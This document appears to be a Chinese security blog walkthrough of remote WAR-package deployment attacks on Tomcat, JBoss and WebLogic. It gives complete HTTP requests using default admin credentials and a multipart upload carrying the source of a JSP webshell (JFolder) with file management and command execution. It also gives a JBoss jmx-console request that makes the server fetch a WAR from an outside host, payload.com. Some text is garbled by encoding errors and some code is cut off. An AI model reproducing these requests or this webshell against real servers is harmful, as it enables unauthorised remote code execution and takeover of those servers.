html parser c3,三种远程部署war包检测

简介

远程部署漏洞属于服务器、中间件配置问题,攻击者可通过远程部署漏洞获取系统权限,远程部署漏洞经常出现在Tomcat、Jboss、Weblogic等web容器之上。

tomcat部署war包

tomcat/tomcat

4def6f7203c137bb11b7e37db2d38265.png

POST /manager/html/upload;jsessionid=A0F8351E37AA865DDFC5EC921BFB4F9A?org.apache.catalina.filters.CSRF_NONCE=7C49D0AF0355D531EAB7DFE30F00FFA1 HTTP/1.1

Host: 192.168.52.128:8080

User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.52.128:8080/manager/html

Cookie: JSESSIONID=A0F8351E37AA865DDFC5EC921BFB4F9A

Authorization: Basic dG9tY2F0OnRvbWNhdA==

Connection: close

Content-Type: multipart/form-data; boundary=---------------------------32062524929426

Content-Length: 31723

-----------------------------32062524929426

Content-Disposition: form-data; name="deployWar"; filename="test3693.war"

Content-Type: application/octet-stream

xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"

version="2.4">

30

index.jsp

%>

public class FileHandler

{

private String strAction="";

private String strFile="";

void FileHandler(String action,String f)

{

}

}

public static class UploadMonitor {

static Hashtable uploadTable = new Hashtable();

static void set(String fName, UplInfo info) {

uploadTable.put(fName, info);

}

static void remove(String fName) {

uploadTable.remove(fName);

}

static UplInfo getInfo(String fName) {

UplInfo info = (UplInfo) uploadTable.get(fName);

return info;

}

}

public class UplInfo {

public long totalSize;

public long currSize;

public long starttime;

public boolean aborted;

public UplInfo() {

totalSize = 0l;

currSize = 0l;

starttime = System.currentTimeMillis();

aborted = false;

}

public UplInfo(int size) {

totalSize = size;

currSize = 0;

starttime = System.currentTimeMillis();

aborted = false;

}

public String getUprate() {

long time = System.currentTimeMillis() - starttime;

if (time != 0) {

long uprate = currSize * 1000 / time;

return convertFileSize(uprate) + "/s";

}

else return "n/a";

}

public int getPercent() {

if (totalSize == 0) return 0;

else return (int) (currSize * 100 / totalSize);

}

public String getTimeElapsed() {

long time = (System.currentTimeMillis() - starttime) / 1000l;

if (time - 60l >= 0){

if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";

else return time / 60 + ":0" + (time % 60) + "m";

}

else return time<10 ? "0" + time + "s": time + "s";

}

public String getTimeEstimated() {

if (currSize == 0) return "n/a";

long time = System.currentTimeMillis() - starttime;

time = totalSize * time / currSize;

time /= 1000l;

if (time - 60l >= 0){

if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";

else return time / 60 + ":0" + (time % 60) + "m";

}

else return time<10 ? "0" + time + "s": time + "s";

}

}

public class FileInfo {

public String name = null, clientFileName = null, fileContentType = null;

private byte[] fileContents = null;

public File file = null;

public StringBuffer sb = new StringBuffer(100);

public void setFileContents(byte[] aByteArray) {

fileContents = new byte[aByteArray.length];

System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length);

}

}

// A Class with methods used to process a ServletInputStream

public class HttpMultiPartParser {

private final String lineSeparator = System.getProperty("line.separator", "\n");

private final int ONE_MB = 1024 * 1;

public Hashtable processData(ServletInputStream is, String boundary, String saveInDir,

int clength) throws IllegalArgumentException, IOException {

if (is == null) throw new IllegalArgumentException("InputStream");

if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException(

"\"" + boundary + "\" is an illegal boundary indicator");

boundary = "--" + boundary;

StringTokenizer stLine = null, stFields = null;

FileInfo fileInfo = null;

Hashtable dataTable = new Hashtable(5);

String line = null, field = null, paramName = null;

boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0);

boolean isFile = false;

if (saveFiles) { // Create the required directory (including parent dirs)

File f = new File(saveInDir);

f.mkdirs();

}

line = getLine(is);

if (line == null || !line.startsWith(boundary)) throw new IOException(

"Boundary not found; boundary = " + boundary + ", line = " + line);

while (line != null) {

if (line == null || !line.startsWith(boundary)) return dataTable;

line = getLine(is);

if (line == null) return dataTable;

stLine = new StringTokenizer(line, ";\r\n");

if (stLine.countTokens() < 2) throw new IllegalArgumentException(

"Bad data in second line");

line = stLine.nextToken().toLowerCase();

if (line.indexOf("form-data") < 0) throw new IllegalArgumentException(

"Bad data in second line");

stFields = new StringTokenizer(stLine.nextToken(), "=\"");

if (stFields.countTokens() < 2) throw new IllegalArgumentException(

"Bad data in second line");

fileInfo = new FileInfo();

stFields.nextToken();

paramName = stFields.nextToken();

isFile = false;

if (stLine.hasMoreTokens()) {

field = stLine.nextToken();

stFields = new StringTokenizer(field, "=\"");

if (stFields.countTokens() > 1) {

if (stFields.nextToken().trim().equalsIgnoreCase("filename")) {

fileInfo.name = paramName;

String value = stFields.nextToken();

if (value != null && value.trim().length() > 0) {

fileInfo.clientFileName = value;

isFile = true;

}

else {

line = getLine(is); // Skip "Content-Type:" line

line = getLine(is); // Skip blank line

line = getLine(is); // Skip blank line

line = getLine(is); // Position to boundary line

continue;

}

}

}

else if (field.toLowerCase().indexOf("filename") >= 0) {

line = getLine(is); // Skip "Content-Type:" line

line = getLine(is); // Skip blank line

line = getLine(is); // Skip blank line

line = getLine(is); // Position to boundary line

continue;

}

}

boolean skipBlankLine = true;

if (isFile) {

line = getLine(is);

if (line == null) return dataTable;

if (line.trim().length() < 1) skipBlankLine = false;

else {

stLine = new StringTokenizer(line, ": ");

if (stLine.countTokens() < 2) throw new IllegalArgumentException(

"Bad data in third line");

stLine.nextToken(); // Content-Type

fileInfo.fileContentType = stLine.nextToken();

}

}

if (skipBlankLine) {

line = getLine(is);

if (line == null) return dataTable;

}

if (!isFile) {

line = getLine(is);

if (line == null) return dataTable;

dataTable.put(paramName, line);

// If parameter is dir, change saveInDir to dir

if (paramName.equals("dir")) saveInDir = line;

line = getLine(is);

continue;

}

try {

UplInfo uplInfo = new UplInfo(clength);

UploadMonitor.set(fileInfo.clientFileName, uplInfo);

OutputStream os = null;

String path = null;

if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir,

fileInfo.clientFileName));

else os = new ByteArrayOutputStream(ONE_MB);

boolean readingContent = true;

byte previousLine[] = new byte[2 * ONE_MB];

byte temp[] = null;

byte currentLine[] = new byte[2 * ONE_MB];

int read, read3;

if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) {

line = null;

break;

}

while (readingContent) {

if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) {

line = null;

uplInfo.aborted = true;

break;

}

if (compareBoundary(boundary, currentLine)) {

os.write(previousLine, 0, read - 2);

line = new String(currentLine, 0, read3);

break;

}

else {

os.write(previousLine, 0, read);

uplInfo.currSize += read;

temp = currentLine;

currentLine = previousLine;

previousLine = temp;

read = read3;

}//end else

}//end while

os.flush();

os.close();

if (!saveFiles) {

ByteArrayOutputStream baos = (ByteArrayOutputStream) os;

fileInfo.setFileContents(baos.toByteArray());

}

else fileInfo.file = new File(path);

dataTable.put(paramName, fileInfo);

uplInfo.currSize = uplInfo.totalSize;

}//end try

catch (IOException e) {

throw e;

}

}

return dataTable;

}

/**

* Compares boundary string to byte array

*/

private boolean compareBoundary(String boundary, byte ba[]) {

byte b;

if (boundary == null || ba == null) return false;

for (int i = 0; i < boundary.length(); i++)

if ((byte) boundary.charAt(i) != ba[i]) return false;

return true;

}

/** Convenience method to read HTTP header lines */

private synchronized String getLine(ServletInputStream sis) throws IOException {

byte b[] = new byte[1024];

int read = sis.readLine(b, 0, b.length), index;

String line = null;

if (read != -1) {

line = new String(b, 0, read);

if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1);

}

return line;

}

public String getFileName(String dir, String fileName) throws IllegalArgumentException {

String path = null;

if (dir == null || fileName == null) throw new IllegalArgumentException(

"dir or fileName is null");

int index = fileName.lastIndexOf('/');

String name = null;

if (index >= 0) name = fileName.substring(index + 1);

else name = fileName;

index = name.lastIndexOf('\\');

if (index >= 0) fileName = name.substring(index + 1);

path = dir + File.separator + fileName;

if (File.separatorChar == '/') return path.replace('\\', File.separatorChar);

else return path.replace('/', File.separatorChar);

}

} //End of class HttpMultiPartParser

String formatPath(String p)

{

StringBuffer sb=new StringBuffer();

for (int i = 0; i < p.length(); i++)

{

if(p.charAt(i)=='\\')

{

sb.append("\\\\");

}

else

{

sb.append(p.charAt(i));

}

}

return sb.toString();

}

/**

* Converts some important chars (int) to the corresponding html string

*/

static String conv2Html(int i) {

if (i == '&') return "&";

else if (i == '

else if (i == '>') return ">";

else if (i == '"') return """;

else return "" + (char) i;

}

/**

* Converts a normal string to a html conform string

*/

static String htmlEncode(String st) {

StringBuffer buf = new StringBuffer();

for (int i = 0; i < st.length(); i++) {

buf.append(conv2Html(st.charAt(i)));

}

return buf.toString();

}

-----------------------------32062524929426--

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Set-Cookie: JSESSIONID=19B04531B519E953AAD3E2200F9F3D84; Path=/manager; HttpOnly

Content-Type: text/html;charset=utf-8

Date: Mon, 22 Feb 2021 05:02:48 GMT

Connection: close

Content-Length: 19860

H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}.line {height: 1px; background-color: #525D76; border: none;}

table {

width: 100%;

}

td.page-title {

text-align: center;

vertical-align: top;

font-family:sans-serif,Tahoma,Arial;

font-weight: bold;

background: white;

color: black;

}

td.title {

text-align: left;

vertical-align: top;

font-family:sans-serif,Tahoma,Arial;

font-style:italic;

font-weight: bold;

background: #D2A41C;

}

td.header-left {

text-align: left;

vertical-align: top;

font-family:sans-serif,Tahoma,Arial;

font-weight: bold;

background: #FFDC75;

}

td.header-center {

text-align: center;

vertical-align: top;

font-family:sans-serif,Tahoma,Arial;

font-weight: bold;

background: #FFDC75;

}

td.row-left {

text-align: left;

vertical-align: middle;

font-family:sans-serif,Tahoma,Arial;

color: black;

}

td.row-center {

text-align: center;

vertical-align: middle;

font-family:sans-serif,Tahoma,Arial;

color: black;

}

td.row-right {

text-align: right;

vertical-align: middle;

font-family:sans-serif,Tahoma,Arial;

color: black;

}

TH {

text-align: center;

vertical-align: top;

font-family:sans-serif,Tahoma,Arial;

font-weight: bold;

background: #FFDC75;

}

TD {

text-align: center;

vertical-align: middle;

font-family:sans-serif,Tahoma,Arial;

color: black;

}

form {

margin: 1;

}

form.inline {

display: inline;

}

/manager

align="left" src="/manager/images/tomcat.gif">

src="/manager/images/asf-logo.svg" style="width: 266px; height: 83px;">


Tomcat Web Application Manager

Message: 
FAIL - War file "test3693.war" already exists on server
Manager
List ApplicationsHTML Manager HelpManager HelpServer Status
Applications
PathVersionDisplay NameRunningSessionsCommands
/None specifiedWelcome to Tomcattrue0

 Start 

  with idle ≥  minutes 

/docsNone specifiedTomcat Documentationtrue0

 Start 

  with idle ≥  minutes 

/examplesNone specifiedServlet and JSP Examplestrue0

 Start 

  with idle ≥  minutes 

/host-managerNone specifiedTomcat Host Manager Applicationtrue0

 Start 

  with idle ≥  minutes 

/managerNone specifiedTomcat Manager Applicationtrue1

 Start 

 Stop 

 Reload 

 Undeploy 

  with idle ≥  minutes 

/test3693None specified true0

 Start 

  with idle ≥  minutes 

/warNone specified true0

 Start 

  with idle ≥  minutes 

Deploy
Deploy directory or WAR file located on server

Context Path (required):

XML Configuration file URL:

WAR or Directory URL:

WAR file to deploy

Select WAR file to upload

Diagnostics
Check to see if a web application has caused a memory leak on stop, reload or undeploy

This diagnostic check will trigger a full garbage collection. Use it with extreme caution on production systems.

SSL connector configuration diagnostics

List the configured ciphers for each connector

Server Information
Tomcat VersionJVM VersionJVM VendorOS NameOS VersionOS ArchitectureHostnameIP Address
Apache Tomcat/8.0.431.7.0_121-b00Oracle CorporationLinux5.10.0-kali2-amd64amd648d7bd00fa4e8172.21.0.2

Copyright © 1999-2017, Apache Software Foundation

çÂĹĄÄşÂĹĽÄşÂÂÄşÂÂÄşÂÂĺżĹçÂÂÄÂÂäżĹ夝

58df4cf12458c2ae6da9f57082ea8382.png

ćĺé¨ç˝˛ĺĺşĺŚä¸ďź

FAIL - War file "test3693.war" already exists on server

13975142192f1e3fc36f76004c218fc3.png

Jboss远程部署war包

fe33417da52929ddbad57e4dcab071e1.png

POST /jmx-console/HtmlAdaptor HTTP/1.1

Host: 192.168.52.120

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 134

Origin: http://192.168.52.128

Connection: close

Referer: http://192.168.52.128/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment%3Atype%3DDeploymentScanner%2Cflavor%3DURL

Cookie: PHPSESSID=ft4551u5ag2pu53sf5n4mgfqr0; immortal_png=undefined; immortal_etag=undefined; immortal_cache=undefined; md=nilihQQQmUvSPuXD1pm61Hk6EMV3222QLOzt4QJQaE8qzwt0lfxNnhjruFVW7odj; JSESSIONID=678AC48E10C635F07B63DEBEAE69ECD6

Upgrade-Insecure-Requests: 1

action=invokeOp&name=jboss.deployment%3Atype%3DDeploymentScanner%2Cflavor%3DURL&methodIndex=7&arg0=http%3A%2F%2Fpayload.com%2Ftest.war

weblogic部署war包

weblogic:Oracle@123

GET /console/login/LoginForm.jsp HTTP/1.1

Host: 192.168.52.128:7001

User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.52.128:7001/console/login/LoginForm.jsp

Cookie: ADMINCONSOLESESSION=KWbTgzHTnd8sQS7lyhQ1NfjvynrllJtxLZ92R2RtTW9qnvnJNfg1!-1106686951

Connection: close

Cache-Control: max-age=0

HTTP/1.1 200 OK

Cache-Control: no-cache

Connection: close

Date: Mon, 22 Feb 2021 05:56:57 GMT

Pragma: no-cache

Content-Length: 3162

Content-Type: text/html; charset=UTF-8

Expires: Thu, 01 Jan 1970 00:00:00 GMT

Content-Language: en-US

X-Powered-By: Servlet/2.5 JSP/2.1

Oracle WebLogic Server Administration Console

// Disable frame hijacking

if (top != self) top.location.href = location.href;

html {

background-color: #185E87;

}

Welcome

JavaScript is required. Enable JavaScript to use WebLogic Administration Console.

Log in to work with the WebLogic Server domain

Username:

Password:

οnclick="form.submit();this.disabled=true;document.body.style.cursor = 'wait'; this.className='formButton-disabled';"

value='Login'>

登录成功后调整到如下地址:

bb561c05bb5e0bc9cf1c9eaa36dd4bc3.png

后台上传webshell

获取到管理员密码后,登录后台。点击左侧的部署,可见一个应用列表:

0b5bd97a973585349312d8f74f091c71.png

点击部署的数据包如下:

GET /console/console.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage HTTP/1.1

Host: 192.168.52.128:7001

User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=HomePage1

Cookie: ADMINCONSOLESESSION=KWbTgzHTnd8sQS7lyhQ1NfjvynrllJtxLZ92R2RtTW9qnvnJNfg1!-1106686951; JSESSIONID=QrzGgzJTYv0TVjxk1Vl2zmcrX4n1Gg25SDWNLvJdfJkbzrRCvK7l!-1106686951

Connection: close

HTTP/1.1 200 OK

Cache-Control: no-cache,no-store,max-age=0

Cache-Control: no-cache,no-store,max-age=0

Cache-Control: no-cache,no-store,max-age=0

Cache-Control: no-cache,no-store,max-age=0

Connection: close

Date: Mon, 22 Feb 2021 06:08:41 GMT

Pragma: No-cache

Pragma: No-cache

Pragma: No-cache

Pragma: No-cache

Content-Type: text/html; charset=UTF-8

Expires: Thu, 01 Jan 1970 00:00:00 GMT

Content-Language: en-US

X-Powered-By: Servlet/2.5 JSP/2.1

Content-Length: 43772

Summary of Deployments - base_domain - WLS Console

wls.console.pageHelpURL = null;

wls.console.pageHelpKey = 'J2EEappdeploymentscontroltabletitle';

wls.console.recordState = {

contextRoot: "/console",

prompt: false,

recordingStarted: false

};

  • Search

     Search

Welcome,

weblogic

Connected to:

base_domain

End of repetitive links
JavaScript is required. Enable JavaScript to use WebLogic Administration Console.

Summary of Deployments

This page displays a list of Java EE applications and stand-alone application modules that have been installed to this domain. Installed applications and modules can be started, stopped, updated (redeployed), or deleted from the domain by first selecting the application name and using the controls on this page.

To install a new application or module for deployment to targets in this domain, click the Install button.

function switchAction(actionName,formName){

wls.console.doingSubmit();

document.forms[formName].AppDeploymentsControlPortlet_actionOverride.value = actionName;

document.forms[formName].submit();

}

function switchPortlet(pageLabel,portlet,formName){

wls.console.doingSubmit();

document.forms[formName]._pageLabel.value = pageLabel;

var newName = portlet+"chosenContents";

renameCheckboxes(document.getElementById(formName),newName);

document.forms[formName].AppDeploymentsControlPortletfrsc.name= portlet+'frsc';

document.forms[formName].action=document.forms[formName].action + '?' + portlet + 'returnTo=AppDeploymentsControlPage' + '&AppDeploymentsControlPortlethandle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29';

document.forms[formName].submit();

}

function saveIf(evt){

var key = (document.all) ? window.event.keyCode : evt.keyCode;

if (key == 27){dismissEdit(); return false;}

if (key == 13){

var cell = this;

var idx = cell.id.indexOf('editor'); var eHandle = cell.id.substring(0,idx);

var idxe = cell.id.indexOf('")'); var editr = cell.id.substring(idx+8,cell.id.length-1);

var editHandle = "val("+encodeURIComponent(cell.value)+")"+eHandle;

document.forms['genericTableForm'].action='/console/console.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&AppDeploymentsControlPortlet_actionOverride=/'+ editr +'&AppDeploymentsControlPortleteditHandle='+editHandle;

return true;

}

}

Deployments

Change Center

View changes and restarts

Configuration editing is enabled. Future changes will automatically be activated as you modify, add or delete items in this domain.

点击安装,选择“上载文件”:

a4b7b01ef18a973cc631f8ecd833228b.png

选择需要上载的本地war包

ac323ed3863e51148691048e1c3ace60.png

上传的数据包

POST /console/console.portal?AppApplicationInstallPortlet_actionOverride=/com/bea/console/actions/app/install/uploadApp HTTP/1.1

Host: 192.168.52.128:7001

User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.52.128:7001/console/console.portal?AppApplicationInstallPortlet_actionOverride=/com/bea/console/actions/app/install/selectUploadApp

Cookie: ADMINCONSOLESESSION=KWbTgzHTnd8sQS7lyhQ1NfjvynrllJtxLZ92R2RtTW9qnvnJNfg1!-1106686951; JSESSIONID=QrzGgzJTYv0TVjxk1Vl2zmcrX4n1Gg25SDWNLvJdfJkbzrRCvK7l!-1106686951

Connection: close

Content-Type: multipart/form-data; boundary=---------------------------8434166712903

Content-Length: 32108

-----------------------------8434166712903

Content-Disposition: form-data; name="AppApplicationInstallPortletuploadAppPath"; filename="test3693.war"

Content-Type: application/octet-stream

xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"

version="2.4">

30

index.jsp

%>

private final static int languageNo=0; //语言版本,0 : 中文; 1:英文

String strThisFile="JFolder.jsp";

String[] authorInfo={" 写的不好,将就着用吧 - - by 慈勤强 http://www.topronet.com "," Thanks for your support - - by Steven Cee http://www.topronet.com "};

String[] strFileManage = {"文 件 管 理","File Management"};

String[] strCommand = {"CMD 命 令","Command Window"};

String[] strSysProperty = {"系 统 属 性","System Property"};

String[] strHelp = {"帮 助","Help"};

String[] strParentFolder = {"上级目录","Parent Folder"};

String[] strCurrentFolder= {"当前目录","Current Folder"};

String[] strDrivers = {"驱动器","Drivers"};

String[] strFileName = {"文件名称","File Name"};

String[] strFileSize = {"文件大小","File Size"};

String[] strLastModified = {"最后修改","Last Modified"};

String[] strFileOperation= {"文件操作","Operations"};

String[] strFileEdit = {"修改","Edit"};

String[] strFileDown = {"下载","Download"};

String[] strFileCopy = {"复制","Move"};

String[] strFileDel = {"删除","Delete"};

String[] strExecute = {"执行","Execute"};

String[] strBack = {"返回","Back"};

String[] strFileSave = {"保存","Save"};

public class FileHandler

{

private String strAction="";

private String strFile="";

void FileHandler(String action,String f)

{

}

}

public static class UploadMonitor {

static Hashtable uploadTable = new Hashtable();

static void set(String fName, UplInfo info) {

uploadTable.put(fName, info);

}

static void remove(String fName) {

uploadTable.remove(fName);

}

static UplInfo getInfo(String fName) {

UplInfo info = (UplInfo) uploadTable.get(fName);

return info;

}

}

public class UplInfo {

public long totalSize;

public long currSize;

public long starttime;

public boolean aborted;

public UplInfo() {

totalSize = 0l;

currSize = 0l;

starttime = System.currentTimeMillis();

aborted = false;

}

public UplInfo(int size) {

totalSize = size;

currSize = 0;

starttime = System.currentTimeMillis();

aborted = false;

}

public String getUprate() {

long time = System.currentTimeMillis() - starttime;

if (time != 0) {

long uprate = currSize * 1000 / time;

return convertFileSize(uprate) + "/s";

}

else return "n/a";

}

public int getPercent() {

if (totalSize == 0) return 0;

else return (int) (currSize * 100 / totalSize);

}

public String getTimeElapsed() {

long time = (System.currentTimeMillis() - starttime) / 1000l;

if (time - 60l >= 0){

if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";

else return time / 60 + ":0" + (time % 60) + "m";

}

else return time<10 ? "0" + time + "s": time + "s";

}

public String getTimeEstimated() {

if (currSize == 0) return "n/a";

long time = System.currentTimeMillis() - starttime;

time = totalSize * time / currSize;

time /= 1000l;

if (time - 60l >= 0){

if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";

else return time / 60 + ":0" + (time % 60) + "m";

}

else return time<10 ? "0" + time + "s": time + "s";

}

}

public class FileInfo {

public String name = null, clientFileName = null, fileContentType = null;

private byte[] fileContents = null;

public File file = null;

public StringBuffer sb = new StringBuffer(100);

public void setFileContents(byte[] aByteArray) {

fileContents = new byte[aByteArray.length];

System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length);

}

}

// A Class with methods used to process a ServletInputStream

public class HttpMultiPartParser {

private final String lineSeparator = System.getProperty("line.separator", "\n");

private final int ONE_MB = 1024 * 1;

public Hashtable processData(ServletInputStream is, String boundary, String saveInDir,

int clength) throws IllegalArgumentException, IOException {

if (is == null) throw new IllegalArgumentException("InputStream");

if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException(

"\"" + boundary + "\" is an illegal boundary indicator");

boundary = "--" + boundary;

StringTokenizer stLine = null, stFields = null;

FileInfo fileInfo = null;

Hashtable dataTable = new Hashtable(5);

String line = null, field = null, paramName = null;

boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0);

boolean isFile = false;

if (saveFiles) { // Create the required directory (including parent dirs)

File f = new File(saveInDir);

f.mkdirs();

}

line = getLine(is);

if (line == null || !line.startsWith(boundary)) throw new IOException(

"Boundary not found; boundary = " + boundary + ", line = " + line);

while (line != null) {

if (line == null || !line.startsWith(boundary)) return dataTable;

line = getLine(is);

if (line == null) return dataTable;

stLine = new StringTokenizer(line, ";\r\n");

if (stLine.countTokens() < 2) throw new IllegalArgumentException(

"Bad data in second line");

line = stLine.nextToken().toLowerCase();

if (line.indexOf("form-data") < 0) throw new IllegalArgumentException(

"Bad data in second line");

stFields = new StringTokenizer(stLine.nextToken(), "=\"");

if (stFields.countTokens() < 2) throw new IllegalArgumentException(

"Bad data in second line");

fileInfo = new FileInfo();

stFields.nextToken();

paramName = stFields.nextToken();

isFile = false;

if (stLine.hasMoreTokens()) {

field = stLine.nextToken();

stFields = new StringTokenizer(field, "=\"");

if (stFields.countTokens() > 1) {

if (stFields.nextToken().trim().equalsIgnoreCase("filename")) {

fileInfo.name = paramName;

String value = stFields.nextToken();

if (value != null && value.trim().length() > 0) {

fileInfo.clientFileName = value;

isFile = true;

}

else {

line = getLine(is); // Skip "Content-Type:" line

line = getLine(is); // Skip blank line

line = getLine(is); // Skip blank line

line = getLine(is); // Position to boundary line

continue;

}

}

}

else if (field.toLowerCase().indexOf("filename") >= 0) {

line = getLine(is); // Skip "Content-Type:" line

line = getLine(is); // Skip blank line

line = getLine(is); // Skip blank line

line = getLine(is); // Position to boundary line

continue;

}

}

boolean skipBlankLine = true;

if (isFile) {

line = getLine(is);

if (line == null) return dataTable;

if (line.trim().length() < 1) skipBlankLine = false;

else {

stLine = new StringTokenizer(line, ": ");

if (stLine.countTokens() < 2) throw new IllegalArgumentException(

"Bad data in third line");

stLine.nextToken(); // Content-Type

fileInfo.fileContentType = stLine.nextToken();

}

}

if (skipBlankLine) {

line = getLine(is);

if (line == null) return dataTable;

}

if (!isFile) {

line = getLine(is);

if (line == null) return dataTable;

dataTable.put(paramName, line);

// If parameter is dir, change saveInDir to dir

if (paramName.equals("dir")) saveInDir = line;

line = getLine(is);

continue;

}

try {

UplInfo uplInfo = new UplInfo(clength);

UploadMonitor.set(fileInfo.clientFileName, uplInfo);

OutputStream os = null;

String path = null;

if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir,

fileInfo.clientFileName));

else os = new ByteArrayOutputStream(ONE_MB);

boolean readingContent = true;

byte previousLine[] = new byte[2 * ONE_MB];

byte temp[] = null;

byte currentLine[] = new byte[2 * ONE_MB];

int read, read3;

if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) {

line = null;

break;

}

while (readingContent) {

if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) {

line = null;

uplInfo.aborted = true;

break;

}

if (compareBoundary(boundary, currentLine)) {

os.write(previousLine, 0, read - 2);

line = new String(currentLine, 0, read3);

break;

}

else {

os.write(previousLine, 0, read);

uplInfo.currSize += read;

temp = currentLine;

currentLine = previousLine;

previousLine = temp;

read = read3;

}//end else

}//end while

os.flush();

os.close();

if (!saveFiles) {

ByteArrayOutputStream baos = (ByteArrayOutputStream) os;

fileInfo.setFileContents(baos.toByteArray());

}

else fileInfo.file = new File(path);

dataTable.put(paramName, fileInfo);

uplInfo.currSize = uplInfo.totalSize;

}//end try

catch (IOException e) {

throw e;

}

}

return dataTable;

}

/**

* Compares boundary string to byte array

*/

private boolean compareBoundary(String boundary, byte ba[]) {

byte b;

if (boundary == null || ba == null) return false;

for (int i = 0; i < boundary.length(); i++)

if ((byte) boundary.charAt(i) != ba[i]) return false;

return true;

}

/** Convenience method to read HTTP header lines */

private synchronized String getLine(ServletInputStream sis) throws IOException {

byte b[] = new byte[1024];

int read = sis.readLine(b, 0, b.length), index;

String line = null;

if (read != -1) {

line = new String(b, 0, read);

if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1);

}

return line;

}

public String getFileName(String dir, String fileName) throws IllegalArgumentException {

String path = null;

if (dir == null || fileName == null) throw new IllegalArgumentException(

"dir or fileName is null");

int index = fileName.lastIndexOf('/');

String name = null;

if (index >= 0) name = fileName.substring(index + 1);

else name = fileName;

index = name.lastIndexOf('\\');

if (index >= 0) fileName = name.substring(index + 1);

path = dir + File.separator + fileName;

if (File.separatorChar == '/') return path.replace('\\', File.separatorChar);

else return path.replace('/', File.separatorChar);

}

} //End of class HttpMultiPartParser

String formatPath(String p)

{

StringBuffer sb=new StringBuffer();

for (int i = 0; i < p.length(); i++)

{

if(p.charAt(i)=='\\')

{

sb.append("\\\\");

}

else

{

sb.append(p.charAt(i));

}

}

return sb.toString();

}

/**

* Converts some important chars (int) to the corresponding html string

*/

static String conv2Html(int i) {

if (i == '&') return "&";

else if (i == '

else if (i == '>') return ">";

else if (i == '"') return """;

else return "" + (char) i;

}

/**

* Converts a normal string to a html conform string

*/

static String htmlEncode(String st) {

StringBuffer buf = new StringBuffer();

for (int i = 0; i < st.length(); i++) {

buf.append(conv2Html(st.charAt(i)));

}

return buf.toString();

}

String getDrivers()

/**

Windows系统上取得可用的所有逻辑盘

*/

{

StringBuffer sb=new StringBuffer(strDrivers[languageNo] + " : ");

File roots[]=File.listRoots();

for(int i=0;i

{

sb.append(" ");

sb.append(roots[i]+" ");

}

return sb.toString();

}

static String convertFileSize(long filesize)

{

//bug 5.09M 显示5.9M

String strUnit="Bytes";

String strAfterComma="";

int intDivisor=1;

if(filesize>=1024*1024)

{

strUnit = "MB";

intDivisor=1024*1024;

}

else if(filesize>=1024)

{

strUnit = "KB";

intDivisor=1024;

}

if(intDivisor==1) return filesize + " " + strUnit;

strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ;

if(strAfterComma=="") strAfterComma=".0";

return filesize / intDivisor + "." + strAfterComma + " " + strUnit;

}

%>

request.setCharacterEncoding("gb2312");

String tabID = request.getParameter("tabID");

String strDir = request.getParameter("path");

String strAction = request.getParameter("action");

String strFile = request.getParameter("file");

String strPath = strDir + "\\" + strFile;

